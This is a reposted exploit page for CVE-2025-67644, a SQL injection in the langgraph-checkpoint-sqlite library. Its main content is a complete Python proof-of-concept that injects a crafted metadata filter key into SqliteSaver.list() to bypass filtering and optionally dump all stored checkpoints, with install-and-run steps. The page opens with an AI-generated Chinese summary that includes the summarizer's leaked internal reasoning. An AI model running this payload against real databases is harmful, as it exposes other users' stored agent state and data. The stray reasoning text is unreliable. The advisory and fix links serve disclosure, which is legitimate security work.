LangGraph SQLite Checkpoint - SQL Injection via Metadata Filter Key
嗯,用户让我帮忙总结一下这篇文章的内容,控制在100个字以内,而且不需要用“文章内容总结”之类的开头,直接写描述。好的,我先看看这篇文章讲的是什么。 文章标题是“LangGraph SQLite Checkpoint SQL注入漏洞”,看起来是一个安全漏洞的详细说明。里面提到了CVE编号是CVE-2025-67644,影响的是langgraph-checkpoint-sqlite库的版本小于3.0.1。作者是Mohammed Idrees Banyamer,来自约旦。 文章里有一个Python脚本,看起来是一个概念验证(PoC)的代码,用来演示这个漏洞。代码的主要部分是通过构造恶意的过滤器参数来触发SQL注入。比如,在saver.list方法中传入一个恶意的filter参数,像{"env') OR '1'='1": "dummy"},这样就会导致SQL查询被注入攻击。 作者还详细说明了如何复现这个漏洞:首先安装易受攻击的库版本,然后运行脚本指向数据库文件,可以选择不同的选项来dump数据或者只显示线程ID。此外,还提到了这个漏洞的风险等级是CVSS 7.5(高),修复版本是3.0.1及以上。 总结一下,这篇文章主要描述了LangGraph SQLite Checkpoint组件中的一个SQL注入漏洞,通过在metadata过滤器中使用未正确清理的输入参数触发。漏洞影响了旧版本,并提供了PoC代码和修复建议。 </think> LangGraph SQLite Checkpoint组件存在SQL注入漏洞(CVE-2025-67644),影响langgraph-checkpoint-sqlite < 3.0.1版本。攻击者可通过恶意构造的metadata过滤器参数触发注入攻击。该漏洞已修复于3.0.1及以上版本。 2026-2-23 22:18:29 Author: cxsecurity.com(查看原文) 阅读量:3 收藏

LangGraph SQLite Checkpoint - SQL Injection via Metadata Filter Key

#!/usr/bin/env python3 # Exploit Title: LangGraph SQLite Checkpoint SQL Injection PoC # CVE: CVE-2025-67644 # Date: 2025-12-xx # Exploit Author: Mohammed Idrees Banyamer # Author Country: Jordan # Instagram: @banyamer_security # Author GitHub: # Vendor Homepage: https://github.com/langchain-ai/langgraph # Software Link: https://pypi.org/project/langgraph-checkpoint-sqlite/ # Affected: langgraph-checkpoint-sqlite < 3.0.1 # Tested on: langgraph-checkpoint-sqlite 2.0.0 # Category: Webapps / Database # Platform: Python # Exploit Type: SQL Injection (Metadata Filter Key) # CVSS: 7.5 (High) – estimated # Description: SQL Injection in SqliteSaver.list() via unsanitized metadata filter keys # Fixed in: langgraph-checkpoint-sqlite >= 3.0.1 # Usage: # python3 exploit.py <db_path> [--dump-all] [--threads-only] # # Examples: # python3 exploit.py checkpoints.db # python3 exploit.py checkpoints.db --dump-all # # Options: # --dump-all Dump full checkpoint content instead of just counting # --threads-only Show only thread_ids (less verbose) # # Notes: # • This is a PoC / research exploit – not a full RCE chain # • Real attack depends on application exposure of the filter parameter # • In-memory (:memory:) databases are volatile – file-based more realistic # # How to Use # # Step 1: Install vulnerable version # pip install langgraph-checkpoint-sqlite==2.0.0 # # Step 2: Run the script against existing checkpoint database file # python3 exploit.py checkpoints.db --dump-all # # ──────────────────────────────────────────────── import argparse from langgraph.checkpoint.sqlite import SqliteSaver from uuid import uuid4 BANNER = r""" _____ _ _____ _____ _____ _____ _____ / ____| | | | __ \_ _|/ ____/ ____/ ____| | | __ __ _ _ __ | |_| |__) || | | (___| (___| | | | |_ |/ _` | '_ \| __| ___/ | | \___ \\___ \| | | |__| | (_| | | | | |_| | _| |_ ____) |___) | |____ \_____|\__,_|_| |_|\__|_| |_____|_____/_____/ \_____| CVE-2025-67644 • SQL Injection in LangGraph SQLite Checkpoint PoC by Mohammed Idrees Banyamer (@banyamer_security) ======================================================= """ def create_dummy_data(saver): thread_id_1 = str(uuid4()) thread_id_2 = str(uuid4()) saver.put( {"configurable": {"thread_id": thread_id_1, "checkpoint_ns": ""}}, {"type": "task", "data": "checkpoint A"}, metadata={"user_id": "alice", "env": "prod"} ) saver.put( {"configurable": {"thread_id": thread_id_2, "checkpoint_ns": ""}}, {"type": "task", "data": "checkpoint B"}, metadata={"user_id": "bob", "env": "dev"} ) return thread_id_1, thread_id_2 def main(): parser = argparse.ArgumentParser(description="PoC for CVE-2025-67644 (langgraph-checkpoint-sqlite SQLi)") parser.add_argument("db_path", help="Path to SQLite checkpoint database (:memory: supported)") parser.add_argument("--dump-all", action="store_true", help="Dump full checkpoint content") parser.add_argument("--threads-only", action="store_true", help="Show only thread_ids") args = parser.parse_args() print(BANNER) print("[*] Target database :", args.db_path) print() try: saver = SqliteSaver.from_conn_string(args.db_path) count = len(list(saver.list(None))) if count == 0: print("[+] Creating demo checkpoints (database was empty)") create_dummy_data(saver) print() print("[+] Normal listing (no filter)") all_checkpoints = list(saver.list(None)) print(f" → Found {len(all_checkpoints)} checkpoint(s)") print("\n[+] Legitimate filter test") normal_filter = {"user_id": "alice"} filtered = list(saver.list(None, filter=normal_filter)) print(f" → Found {len(filtered)} checkpoint(s) (expected: 1)") print("\n[+] SQL Injection attempt (bypass filter)") malicious_filter = {"env') OR '1'='1": "dummy"} try: injected = list(saver.list(None, filter=malicious_filter)) print(f" → Injection successful! Found {len(injected)} checkpoint(s)") if len(injected) == len(all_checkpoints) and len(all_checkpoints) > 0: print(" → CONFIRMED: filter bypassed via SQL injection") if args.dump_all: print("\n[+] Dumping all accessible checkpoints:") for i, cp in enumerate(injected, 1): thread_id = cp["configurable"].get("thread_id", "—") print(f" {i}. thread_id = {thread_id}") if not args.threads_only: print(f" checkpoint = {cp.get('checkpoint')}") print(f" metadata = {cp.get('metadata')}") print() elif args.threads_only: print("\n[+] Extracted thread_ids:") for cp in injected: tid = cp["configurable"].get("thread_id") if tid: print(f" • {tid}") except Exception as e: print("[-] Injection failed / rejected") print(f" Error: {e}") except Exception as ex: print("[-] Fatal error") print(f" {ex}") if __name__ == "__main__": main()

References:

- GitHub Advisory:

https://github.com/langchain-ai/langgraph/security/advisories/GHSA-9rwj-6rc7-p77c

- Fix Commit:

https://github.com/langchain-ai/langgraph/commit/297242913f8ad2143ee3e2f72e67db0911d48e2a

- NVD:

https://nvd.nist.gov/vuln/detail/CVE-2025-67644




 

Thanks for you comment!
Your message is in quarantine 48 hours.

{{ x.nick }}

|

Date:

{{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1


{{ x.comment }}


Copyright 2026, cxsecurity.com

Back to Top


文章来源: https://cxsecurity.com/issue/WLB-2026020023
如有侵权请联系:admin#unsafe.sh